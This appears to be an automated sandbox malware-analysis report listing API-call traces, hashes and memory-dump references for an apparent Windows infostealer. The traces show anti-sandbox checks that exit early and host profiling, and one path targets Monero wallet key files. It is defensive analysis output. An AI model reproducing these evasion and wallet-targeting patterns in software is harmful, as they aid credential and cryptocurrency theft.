Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 302a29d0d44831db7ba2ebda069f5b58e26ee1efc2fc8cbe76ad2551a609b612
Instruction ID: 1cc78dfd55fc897fcd1d108663a8d7f609a06334d98c679efb24d89142f46087
Opcode Fuzzy Hash: 302a29d0d44831db7ba2ebda069f5b58e26ee1efc2fc8cbe76ad2551a609b612
Instruction Fuzzy Hash: 38014FB5A44308BBD700DBE8DC49F6DB7B8EB88701F104495FA08D7391EB709A44DB62

Function 00B47720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47734
RtlAllocateHeap.NTDLL(00000000), ref: 00B4773B
RegOpenKeyExA.KERNEL32(80000002,014DBC08,00000000,00020119,00B476B9), ref: 00B4775B
RegQueryValueExA.KERNEL32(00B476B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00B4777A
RegCloseKey.ADVAPI32(00B476B9), ref: 00B47784

Strings

CurrentBuildNumber, xrefs: 00B47771

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: e0cece64a96dd58f7b13de3f2449fcf6fda0c7d1b9119c85ea8748361d0416f5
Instruction ID: 438b3d6d95dbd3fbc6930a71ca7ab951a8009c65382750395c315c472ea7265d
Opcode Fuzzy Hash: e0cece64a96dd58f7b13de3f2449fcf6fda0c7d1b9119c85ea8748361d0416f5
Instruction Fuzzy Hash: 4801F4B5A40308BBDB00DBE4DC4AFAEB7B8EB44705F104595FA09E7291EA705A409B62

Function 00B440B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B440D5
RegOpenKeyExA.KERNEL32(80000001,014ED0B8,00000000,00020119,?), ref: 00B440F4
RegQueryValueExA.ADVAPI32(?,014EDB68,00000000,00000000,00000000,000000FF), ref: 00B44118
RegCloseKey.ADVAPI32(?), ref: 00B44122
lstrcat.KERNEL32(?,00000000), ref: 00B44147
lstrcat.KERNEL32(?,014EDCB8), ref: 00B4415B

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: dcba700b1378816d1e3b7413c877c1c19d4475ac57abd1fc2500f832c52213df
Instruction ID: b99d1dadcffff1d28b522273f5786027d4336296589b060358d4e6dd5c97e455
Opcode Fuzzy Hash: dcba700b1378816d1e3b7413c877c1c19d4475ac57abd1fc2500f832c52213df
Instruction Fuzzy Hash: F3418DB6D00208A7DB14FBA4DC46FFD737DA798300F444998B61996181FA755BC88BF2

Function 00B469F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E0630), ref: 00B498A1
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E0720), ref: 00B498BA
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E07F8), ref: 00B498D2
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E0660), ref: 00B498EA
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E0600), ref: 00B49903
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E8AB0), ref: 00B4991B
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014D62E0), ref: 00B49933
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014D6340), ref: 00B4994C
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E05B8), ref: 00B49964
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E07C8), ref: 00B4997C
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E0780), ref: 00B49995
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E0798), ref: 00B499AD
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014D6640), ref: 00B499C5
Part of subcall function 00B49860: GetProcAddress.KERNEL32(75900000,014E07B0), ref: 00B499DE

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B311D0: ExitProcess.KERNEL32 ref: 00B31211

Part of subcall function 00B31160: GetSystemInfo.KERNEL32(?), ref: 00B3116A
Part of subcall function 00B31160: ExitProcess.KERNEL32 ref: 00B3117E

Part of subcall function 00B31110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B3112B
Part of subcall function 00B31110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00B31132
Part of subcall function 00B31110: ExitProcess.KERNEL32 ref: 00B31143

Part of subcall function 00B31220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B3123E
Part of subcall function 00B31220: ExitProcess.KERNEL32 ref: 00B31294

Part of subcall function 00B46770: GetUserDefaultLangID.KERNEL32 ref: 00B46774

Part of subcall function 00B31190: ExitProcess.KERNEL32 ref: 00B311C6

Part of subcall function 00B47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B311B7), ref: 00B47880
Part of subcall function 00B47850: RtlAllocateHeap.NTDLL(00000000), ref: 00B47887
Part of subcall function 00B47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B4789F

Part of subcall function 00B478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47910
Part of subcall function 00B478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B47917
Part of subcall function 00B478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B4792F

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014E8A00,?,00B5110C,?,00000000,?,00B51110,?,00000000,00B50AEF), ref: 00B46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B46AE8
CloseHandle.KERNEL32(00000000), ref: 00B46AF9
Sleep.KERNEL32(00001770), ref: 00B46B04
CloseHandle.KERNEL32(?,00000000,?,014E8A00,?,00B5110C,?,00000000,?,00B51110,?,00000000,00B50AEF), ref: 00B46B1A
ExitProcess.KERNEL32 ref: 00B46B22

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 4419094de9c7f085bcc1bb3abad4e16997de8821904ff1462a9281e20082616b
Instruction ID: e12c694e7f19c628a84994a3ed9597629aeef028b02e60db15e4879b9519ac1d
Opcode Fuzzy Hash: 4419094de9c7f085bcc1bb3abad4e16997de8821904ff1462a9281e20082616b
Instruction Fuzzy Hash: 6E311071940208AAEB04FBF4DC56BEE77F8EF44341F104998F512A2192EF705B45E6A2

Function 00B399C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B399EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B39A11
LocalAlloc.KERNEL32(00000040,?), ref: 00B39A31
ReadFile.KERNEL32(000000FF,?,00000000,00B3148F,00000000), ref: 00B39A5A
LocalFree.KERNEL32(00B3148F), ref: 00B39A90
CloseHandle.KERNEL32(000000FF), ref: 00B39A9A

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 8c6ae4335d85f6ce996961229aa514241a38f5c0f14dec9665bc36bc953e3bb2
Instruction ID: ba27c0340cf3ca395afd05688ba0c9b4b39e1851b85d9c5e54239d968b033d7f
Opcode Fuzzy Hash: 8c6ae4335d85f6ce996961229aa514241a38f5c0f14dec9665bc36bc953e3bb2
Instruction Fuzzy Hash: B5311C74A00209EFDB14DF94D985BAE77F5FF48341F208298E915A7390D774AA81CFA1

Function 00B44780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,014EDB38), ref: 00B447DB

Part of subcall function 00B48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

lstrcat.KERNEL32(?,00000000), ref: 00B44801
lstrcat.KERNEL32(?,?), ref: 00B44820
lstrcat.KERNEL32(?,?), ref: 00B44834
lstrcat.KERNEL32(?,014DB1D0), ref: 00B44847
lstrcat.KERNEL32(?,?), ref: 00B4485B
lstrcat.KERNEL32(?,014ED098), ref: 00B4486F

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B48D90: GetFileAttributesA.KERNEL32(00000000,?,00B31B54,?,?,00B5564C,?,?,00B50E1F), ref: 00B48D9F

Part of subcall function 00B44570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B44580
Part of subcall function 00B44570: RtlAllocateHeap.NTDLL(00000000), ref: 00B44587
Part of subcall function 00B44570: wsprintfA.USER32 ref: 00B445A6
Part of subcall function 00B44570: FindFirstFileA.KERNEL32(?,?), ref: 00B445BD

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: c13a3e40156cdaead7907eddfb7c94f92a3db622529ee699a656ff8f91a16b93
Instruction ID: d97af89715b45548ea6a0d532717334717efe1c8b61bd04b8f59e77bed89aa2b
Opcode Fuzzy Hash: c13a3e40156cdaead7907eddfb7c94f92a3db622529ee699a656ff8f91a16b93
Instruction Fuzzy Hash: B23172B2900318A7CB10FBB0DC85EED73BCAB98700F4045D9B35996181EE7497C9DBA6

Function 00B47E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47E37
RtlAllocateHeap.NTDLL(00000000), ref: 00B47E3E
RegOpenKeyExA.KERNEL32(80000002,014DB968,00000000,00020119,?), ref: 00B47E5E
RegQueryValueExA.KERNEL32(?,014ED358,00000000,00000000,000000FF,000000FF), ref: 00B47E7F
RegCloseKey.ADVAPI32(?), ref: 00B47E92

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
